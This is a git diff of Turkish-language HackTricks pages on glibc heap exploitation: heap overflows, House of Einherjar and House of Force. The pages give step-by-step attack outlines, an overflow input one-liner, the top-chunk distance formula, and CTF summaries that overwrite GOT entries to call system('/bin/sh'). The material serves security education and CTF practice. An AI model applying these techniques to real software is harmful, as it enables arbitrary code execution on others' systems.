-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler Bir heap taşması, heap'te bir [**yığın taşması**](../stack-overflow/) gibi. Temelde, heap'te belirli bir veriyi depolamak için bir alan ayrılmış ve **depolanan veri ayrılan alandan daha büyük olmuş.** -Yığın taşmalarında, yığından bazı kayıtların (örneğin yönlendirme işaretçisi veya yığın çerçevesi) geri yükleneceğini ve bunun istismar edilebileceğini biliyoruz. Heap taşmalarında ise, taşınabilecek bir **duyarlı bilgi varsayılan olarak** heap parçasında depolanmaz. Bununla birlikte, hassas bilgi veya işaretçiler olabilir, bu nedenle bu zafiyetin **kritikliği**, bu zafiyetten **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl istismar edebileceğine bağlıdır. +Yığın taşmalarında, yığından bazı kayıtların (örneğin yönlendirme işaretçisi veya yığın çerçevesi) geri yükleneceğini ve bunun istismar edilebileceğini biliyoruz. Heap taşmalarında ise, taşınabilecek **varsayılan olarak hassas bilgi depolanan** bir heap parçası yok. Bununla birlikte, hassas bilgi veya işaretçiler olabilir, bu nedenle bu zafiyetin **kritikliği**, bu zafiyetin **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl istismar edebileceğine bağlıdır. {% hint style="success" %} Taşma ofsetlerini bulmak için [**yığın taşmalarında**](../stack-overflow/#finding-stack-overflows-offsets) olduğu gibi aynı desenleri kullanabilirsiniz. @@ -26,48 +27,49 @@ Taşma ofsetlerini bulmak için [**yığın taşmalarında**](../stack-overflow/ ### Yığın Taşmaları vs. Heap Taşmaları -Yığın taşmalarında, zafiyet tetiklendiğinde yığında bulunan düzen ve veriler oldukça güvenilirdir. Bu, yığının lineer olması, her zaman çarpışan bellekte artması, programın belirli yerlerinde yığın belleğinin genellikle benzer türde verileri depolaması ve her işlevin kullandığı yığın kısmının sonunda bazı işaretçilerle belirli bir yapıya sahip olması nedeniyledir. +Yığın taşmalarında, zafiyet tetiklendiğinde yığında bulunacak düzen ve veri oldukça güvenilirdir. Bu, yığının lineer olduğu, hafızanın çakışarak arttığı, programın belirli yerlerinde yığın belleğinin genellikle benzer türde verileri depoladığı ve her işlev tarafından kullanılan yığın kısmının sonunda bazı işaretçilerle belirli bir yapıya sahip olduğu için geçerlidir. -Ancak, bir heap taşması durumunda, kullanılan bellek lineer değildir, ancak **ayrılmış pozisyonlarda genellikle ayrılmış parçalar** (yan yana olmayan) vardır çünkü boyuta göre ayrımları ayıran **kutular ve bölgeler** ve **önceki serbest bırakılan bellek** yeni parçalar ayrılmadan önce kullanılır. Bir heap taşması bulunduğunda, taşan nesnenin hafızadaki istenen nesnenin yanında olmasını sağlayacak **güvenilir bir yol bulunması gerekir**. +Ancak, bir heap taşması durumunda, kullanılan bellek lineer değil, **ayrılmış konumlarda genellikle ayrılmış parçalar** (yan yana değil) çünkü boyuta göre ayrımları ayıran **kutular ve bölgeler** ve **önceki serbest bırakılan bellek kullanılır**. Bir heap taşmasıyla çakışacak nesnenin hangisi olduğunu bilmek **karmaşıktır**. Bu nedenle, bir heap taşması bulunduğunda, istenen nesnenin bellekteki bir sonraki olmasını sağlamak için **güvenilir bir yol bulunması gerekir**. -Bunun için kullanılan tekniklerden biri **Heap Grooming**dir ve örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) kullanılmaktadır. Yazıda, iOS çekirdeğinde bir bölgenin bellekteki bellek parçalarını depolamak için hafızasının tükendiği durumda, bir çekirdek sayfasıyla genişletildiği ve bu sayfanın beklenen boyutlardaki parçalara bölündüğü ve bunların sırayla kullanılacağı açıklanmaktadır (iOS sürüm 9.2'ye kadar, ardından bu parçaların bu saldırıların zorlaştırılması için rastgele bir şekilde kullanıldığı). +Bunun için kullanılan tekniklerden biri **Heap Grooming**'dir ve örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) kullanılmaktadır. Yazıda, iOS çekirdeğinde bir bölge belleği, bellek parçalarını depolamak için bellekten tükendiğinde, bir çekirdek sayfası ile genişletilir ve bu sayfa beklenen boyuttaki parçalara bölünür (iOS sürüm 9.2'ye kadar, ardından bu parçaların bu saldırıların zorlaştırılması için rastgele bir şekilde kullanıldığı belirtilir). -Bu nedenle, bir heap taşması gerçekleştiğinde, taşan nesnenin bir kurban sırayla çarpışmasını zorlamak için birkaç **`kalloc`** tarafından zorlanır ve tüm boş parçaların doldurulduğundan ve yeni bir sayfa oluşturulduğundan emin olunmaya çalışılır. +Bu nedenle, bir heap taşması gerçekleştiğinde, taşan nesnenin çakışacak şekilde zorlanması için birkaç **`kalloc`'un** birkaç iş parçası tarafından zorlanması gerekmektedir ve tüm boş parçaların doldurulduğundan ve yeni bir sayfa oluşturulduğundan emin olunmalıdır. Belirli bir boyuttaki nesnelerle bu doldurmayı zorlamak için, **iOS mach port ile ilişkilendirilmiş dış hattan tahsis** ideal bir adaydır. Mesajın boyutunu şekillendirerek, `kalloc` tahsisinin boyutunu tam olarak belirlemek mümkündür ve karşılık gelen mach portu yok edildiğinde, karşılık gelen tahsis hemen `kfree`'ye geri bırakılacaktır. -Ardından, bu yer tutuculardan bazıları **serbest bırakılabilir**. **`kalloc.4096` serbest listesi, öğeleri son giren ilk çıkan düzeninde serbest bırakır**, bu da temelde bazı yer tutucuların serbest bırakıldığında ve saldırganın taşmaya duyarlı nesneyi ayırmaya çalışırken birkaç kurban nesne tahsis etmeye çalışırken, bu nesnenin bir kurban nesneyi takip edeceği olasılığının yüksek olduğu anlamına gelir. +Ardından, bazı bu yer tutucular **serbest bırakılabilir**. **`kalloc.4096` serbest listesi elemanları son giren ilk çıkan düzeninde serbest bırakır**, bu da temelde bazı yer tutucuların serbest bırakıldığı ve saldırının taşma olabilecek nesneyi tahsis etmeye çalışırken birkaç kurban nesne tahsis etmeye çalıştığı durumda, bu nesnenin bir kurban nesne tarafından takip edileceği olasılığının yüksek olduğu anlamına gelir. ### Örnek libc -[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) bir temel Heap taşması emülasyonu bulunabilir. Bir sonraki parçanın kullanımdaki önceki bitini ve önceki boyutun konumunu değiştirerek, kullanılan bir parçayı **birleştirmek mümkündür** (kullanılmadığına inandırarak) ve ardından tekrar tahsis edilerek farklı bir işaretçide kullanılan verilerin üzerine yazılabilir. +[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) bir temel Heap taşması emülasyonu bulunabilir. Bir sonraki parçanın kullanılan önceki bitini ve önceki boyutun konumunu değiştirerek, **kullanılan bir parçayı birleştirmek** (kullanılmadığına inandırarak) ve ardından tekrar tahsis ederek farklı bir işaretçide kullanılan verileri üzerine yazmak mümkündür. -[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) örneğinde, bir **heap taşmasının** bayrağı **almak için** kullanılabileceği bir CTF'nin çok temel bir örneği gösterilir. +[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) örneğinde, bir **heap taşmasının** bayrağı **almak için** kazan fonksiyonunu çağırmak için **kullanılabilecek** bir CTF'nin çok temel bir örneği gösterilmektedir. -[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) örneğinde, bir tampon taşmasının istismar edilerek, **kullanıcının gireceği keyfi verilerin yazılacağı bir adrese** yakın bir parçada **üzerine yazılması mümkün olabilir**. +[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) örneğinde, bir tampon taşmasının **kullanıcıdan alınan keyfi verinin yazılacağı yakın bir parçada bir adresi üzerine yazmak** mümkün olduğu görülebilir. ### Örnek ARM64 -[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) sayfasında, bir komutun taşan parçadan bir sonraki parçada depolandığı bir heap taşması örneği bulunabilir. Bu nedenle, basit bir saldırı ile komutun üzerine yazılarak yürütülecek komut değiştirilebilir. +[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) sayfasında, yığın taşması örneği bulunabilir, burada taşan parçadan sonraki parçada saklanacak bir komut bulunmaktadır. Bu nedenle, basit bir saldırı ile komutu değiştirerek yürütülecek komutu değiştirmek mümkündür. ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` ### Diğer örnekler * [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) -* Bir Tamsayı Taşma zafiyetini kullanarak Bir Yığın Taşması elde ediyoruz. -* Taşan parçanın içindeki bir `struct`'ın işaretçilerini bozarak bir işlevi `system` gibi bir işlev olarak ayarlıyoruz ve kod yürütme elde ediyoruz. +* Bir Tamsayı Taşma zafiyetini kullanarak Bir Heap Taşması elde ediyoruz. +* Taşan parçanın içindeki bir `struct`'ın işaretçilerini bozarak bir işlevi, örneğin `system` işlevini ayarlıyoruz ve kod yürütme elde ediyoruz. + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak PR'lar göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/house-of-einherjar.md b/binary-exploitation/libc-heap/house-of-einherjar.md index ac781d7dc..15b1af795 100644 --- a/binary-exploitation/libc-heap/house-of-einherjar.md +++ b/binary-exploitation/libc-heap/house-of-einherjar.md @@ -1,59 +1,60 @@ # Einherjar Evi +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
+{% endhint %} ## Temel Bilgiler ### Kod -* Örneği kontrol et [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c) -* Veya şu adresten bak [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (tcache'yi doldurmanız gerekebilir) +* Örneği kontrol edin: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c) +* Veya şu adresten bakın: [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (tcache'yi doldurmanız gerekebilir) ### Amaç -* Hemen hemen her belirli adreste bellek tahsis etmek. +* Hemen hemen herhangi bir belirli adreste bellek tahsis etmek. ### Gereksinimler * Bir parça tahsis etmek istediğimizde sahte bir parça oluşturun: -* Sağlamlık kontrollerini atlamak için işaretçileri kendisine işaret etmesini sağlayın +* Kontrolü atlamak için işaretçileri kendisine işaret etmesini sağlayın * Bir parçadan diğerine bir null bayt ile bir bayt taşması yaparak `PREV_INUSE` bayrağını değiştirin. -* Yanlışlıkla kullanılan parçanın `prev_size`'ına kendisi ile sahte parça arasındaki farkı gösterin -* Sahte parça boyutu da sağlamlık kontrollerini atlamak için aynı boyutta olmalıdır +* Yanlışlıkla kullanılan parçanın `prev_size`'ına kendisi ile sahte parça arasındaki farkı belirtin +* Sahte parça boyutu da kontrolü atlamak için aynı boyutta olmalıdır * Bu parçaları oluşturmak için bir heap sızıntısına ihtiyacınız olacak. ### Saldırı -* Saldırgan tarafından kontrol edilen bir parçanın içine `fd` ve `bk` ile işaret eden bir sahte parça oluşturulur ve korumaları atlamak için orijinal parçaya işaret eder +* Saldırgan tarafından kontrol edilen bir parçanın içine `A` sahte bir parça oluşturulur ve korumaları atlamak için `fd` ve `bk` ile orijinal parçaya işaret eder * 2 diğer parça (`B` ve `C`) tahsis edilir -* `B`'deki bir bayt taşması kullanılarak `prev in use` biti temizlenir ve `C` parçasının tahsis edildiği yer ile önce oluşturulan sahte `A` parçası arasındaki farkla `prev_size` verisi üzerine yazılır -* Bu `prev_size` ve sahte parçadaki boyut olan `A` aynı olmalıdır ki kontrolleri atlayabilsin. -* Sonra, tcache doldurulur -* Sonra, `C` serbest bırakılır böylece sahte parça `A` ile birleşir -* Sonra, sahte `A` parçasında başlayacak ve `B` parçayı kapsayacak yeni bir parça `D` oluşturulur +* `B`'deki bir hata kullanılarak `prev in use` biti temizlenir ve `prev_size` verisi, önce oluşturulan sahte `A` parçasının yerinden `C` parçasının tahsis edildiği yere kadar olan farkla değiştirilir +* Bu `prev_size` ve sahte parçadaki boyut olan `A` aynı olmalıdır kontrolü atlamak için. +* Ardından, tcache doldurulur +* Sonra, `C` serbest bırakılır, böylece sahte parça `A` ile birleşir +* Sonra, sahte `A` parçasında başlayacak ve `B` parçasını kapsayacak yeni bir parça `D` oluşturulur * Einherjar Evi burada biter -* Bu, bir fast bin saldırısı veya Tcache zehirlenmesi ile devam ettirilebilir: -* `B`'yi serbest bırakarak onu fast bin / Tcache'ye ekleyin -* `B`'nin `fd`si üzerine yazılarak hedef adrese işaret etmesi sağlanır, çünkü içinde `B` bulunduran `D` parçasını içerir -* Sonra, 2 malloc yapılır ve ikincisi **hedef adresi tahsis edecek** +* Bu, hızlı bin saldırısı veya Tcache zehirlenmesi ile devam ettirilebilir: +* `B`'yi serbest bırakarak hızlı bin / Tcache'e ekleyin +* `B`'nin `fd`si üzerine yazarak, içinde `B` bulunan `D` parçasına işaret etmesini sağlayın +* Ardından, 2 malloc yapılır ve ikincisi **hedef adresi tahsis edecek** ## Referanslar ve diğer örnekler * [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c) * **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad) -* İşaretçileri sıfırlamadığınızda serbest bırakılan işaretçilere hala erişilebilir. Bu nedenle, bir parça sıralanmamış kutuya yerleştirilir ve içerdiği işaretçileri sızdırır (libc sızıntısı) ve ardından bir yeni heap sıralanmamış kutuya yerleştirilir ve aldığı işaretçiden bir heap adresi sızdırılır. +* İşaretçileri sıfırlanmadığı için serbest bırakıldıktan sonra hala verilerine erişmek mümkündür. Bu nedenle, bir parça sıralanmamış kutuya yerleştirilir ve içerdiği işaretçileri sızdırır (libc sızıntısı) ve ardından yeni bir heap sıralanmamış kutuya yerleştirilir ve aldığı işaretçiden bir heap adresi sızdırılır. * [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/) -* `strtok`'da null bayt taşma hatası. -* Örtüşen parçalar durumu elde etmek için Einherjar Evi'ni kullanın ve Tcache zehirlenmesi ile keyfi yazma yetkisine ulaşın. +* `strtok`'daki null bayt taşma hatası. +* Örtüşen parçalar durumu elde etmek için Einherjar Evi'ni kullanın ve Tcache zehirlenmesi ile keyfi yazma ilkelini elde edin. diff --git a/binary-exploitation/libc-heap/house-of-force.md b/binary-exploitation/libc-heap/house-of-force.md index bb4a27880..fd1d99202 100644 --- a/binary-exploitation/libc-heap/house-of-force.md +++ b/binary-exploitation/libc-heap/house-of-force.md @@ -1,24 +1,25 @@ # Force Evi +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* 💬 **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler ### Kod -* Bu teknik ([**burada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) yamalandı ve şu hatayı üretir: `malloc(): corrupted top size` +* Bu teknik düzeltildi ([**burada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) ve şu hatayı üretir: `malloc(): corrupted top size` * Test etmek isterseniz [**buradan kodu**](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html) deneyebilirsiniz. ### Amaç @@ -27,14 +28,14 @@ HackTricks'i desteklemenin diğer yolları: ### Gereksinimler -* Başlık parçasının boyutunu üzerine yazmanızı sağlayan bir taşma (örneğin, -1). +* Başlık üst parçasının boyutunu üzerine yazmanızı sağlayan bir taşma (örneğin -1). * Yığın tahsis boyutunu kontrol edebilme yeteneği ### Saldırı -Bir saldırgan, bir parçayı P adresine tahsis etmek için bir değeri buraya üzerine yazmaya başlar. Başlangıçta, başlık parçasının boyutunu `-1` ile üzerine yazarak (belki bir taşma ile) başlar. Bu, malloc'un Top parçasının her zaman yeterli alanı olacağından mmap'ı herhangi bir tahsis için kullanmayacağını sağlar. +Bir saldırgan, bir değeri buraya yazmak için bir parça tahsis etmek isterse, işe `-1` ile başlık üst parçasını üzerine yazarak başlar (belki bir taşma ile). Bu, malloc'un Top parçasının her zaman yeterli alanı olacağından mmap'ı herhangi bir tahsis için kullanmayacağını sağlar. -Daha sonra, top parçasının adresi ile hedef alan arasındaki mesafeyi hesaplayın. Bu, top parçasının o konuma taşınması için o boyutta bir malloc işlemi gerçekleştirileceğinden fark/kapasite kolayca hesaplanabilir. +Ardından, başlık üst parçasının adresi ile hedef alan arasındaki mesafeyi hesaplayın. Bu, başlık üst parçasını o konuma taşımak için o boyutta bir malloc işlemi gerçekleştirileceğinden fark/mesafe kolayca hesaplanabilir. Bu, farkın/boyutun nasıl kolayca hesaplanabileceğidir: ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 /* @@ -47,8 +48,8 @@ Daha sonra, top parçasının adresi ile hedef alan arasındaki mesafeyi hesapla * req = target - old_top - 4*sizeof(long) */ ``` -Bu yüzden, `hedef - eski_üst - 4*sizeof(long)` boyutunda bir alan ayırmak (4 long, üst parçanın ve ayrıldığında yeni parçanın meta verileri nedeniyle) üst parçayı üzerine yazmak istediğimiz adrese taşıyacaktır.\ -Sonra, hedef adreste bir parça almak için başka bir malloc yapın. +Bu nedenle, `hedef - eski_üst - 4*sizeof(long)` boyutunda bir alan ayırmak (4 long, üst parçanın ve ayrıldığında yeni parçanın meta verileri nedeniyle) üst parçayı üzerine yazmak istediğimiz adrese taşıyacaktır.\ +Ardından, hedef adreste bir parça almak için başka bir malloc yapın. ### Referanslar ve Diğer Örnekler @@ -59,14 +60,14 @@ Sonra, hedef adreste bir parça almak için başka bir malloc yapın. * [https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html) * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11) * Bu senaryonun amacı, çağrılacak bir işlevin adresini ret2win işlevinin adresine değiştirmemiz gereken bir ret2win'dir -* Binanın köşesinde, üst parçanın boyutunu değiştirmek için kötüye kullanılabilecek bir taşma var, bu -1 veya p64(0xffffffffffffffff) olarak değiştirilir +* İkili dosyanın, üst parçanın boyutunu değiştirmek için kötüye kullanılabilecek bir taşma sorunu vardır, bu da -1 veya p64(0xffffffffffffffff) olarak değiştirilir * Daha sonra, üzerine yazılacak işaretçinin bulunduğu yere giden adres hesaplanır ve üst parçanın mevcut konumundan oraya olan fark `malloc` ile ayrılır * Son olarak, istenen hedefi içerecek yeni bir parça ayrılır ve bu parça ret2win işlevi tarafından üzerine yazılır * [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp) * `Adınızı girin:` alanında, yığından bir adres sızdırmaya izin veren başlangıçta bir zayıflık vardır -* Ardından, `Org:` ve `Host:` işlevlerinde, **org adı** istendiğinde `s` işaretçisinin 64B'sini doldurmak mümkündür, bu da yığında v2 adresinin ardından gelen ve daha sonra belirtilen **ana bilgisayar adı** tarafından takip edilen bir adrestir. Daha sonra, strcpy s'nin içeriğini 64B boyutunda bir parçaya kopyalayacak, bu da **anahtar adı** içine konulan verilerle üst parçanın boyutunu **üzerine yazmak** mümkündür. -* Artık keyfi yazma mümkün olduğuna göre, `atoi`'nin GOT'u printf adresine üzerine yazıldı. `IO_2_1_stderr` adresi `%24$p` ile sızdırılabildi. Ve bu libc sızıntısı ile `atoi`'nin GOT'u tekrar `system` adresiyle üzerine yazılarak `/bin/sh` parametresiyle çağrıldı +* Ardından, `Org:` ve `Host:` işlevlerinde, **org adı** istendiğinde `s` işaretçisinin 64B'sini doldurmak mümkündür, bu da yığında v2 adresini takip eden ve daha sonra belirtilen **ana bilgisayar adını** takip eden verileri kopyalayacak olan strcpy'nin içeriğini **üst parçanın boyutunu üzerine yazmak** mümkündür. +* Artık keyfi yazma mümkün olduğundan, `atoi`'nin GOT'u printf adresine üzerine yazılmıştır. Ardından, `IO_2_1_stderr` adresi `%24$p` ile sızdırılabildi ve bu libc sızıntısı ile `atoi`'nin GOT'u tekrar `system` adresiyle üzerine yazılarak `/bin/sh` parametresiyle çağrılabildi * [Bu diğer yazıda önerilen](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud) alternatif bir yöntem, `free`'yi `puts` ile üzerine yazmak ve ardından daha sonra serbest bırakılacak işaretçiye `atoi@got` adresini eklemektir, böylece sızdırılır ve bu sızıntı ile tekrar `atoi@got` adresi `system` ile üzerine yazılır ve `/bin/sh` ile çağrılır. * [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) -* Serbest bırakılan ancak işaretçi temizlenmeden tekrar kullanılmasına izin veren bir UAF vardır. Bazı okuma yöntemleri olduğundan, burada GOT'a serbest işlevine bir işaretçi yazarak bir libc adresi sızdırmak mümkündür ve ardından okuma işlevini çağırmak mümkündür. -* Daha sonra, UAF'yi kötüye kullanarak sol boşluğun boyutunu -1 ile üzerine yazmak, serbest kancaya ulaşmak için yeterince büyük bir parça ayırmak ve ardından serbest kancayı içerecek başka bir parça ayırmak için House of force kullanıldı. Ardından, kancaya `system` adresini yazın, bir parçaya `"/bin/sh"` yazın ve son 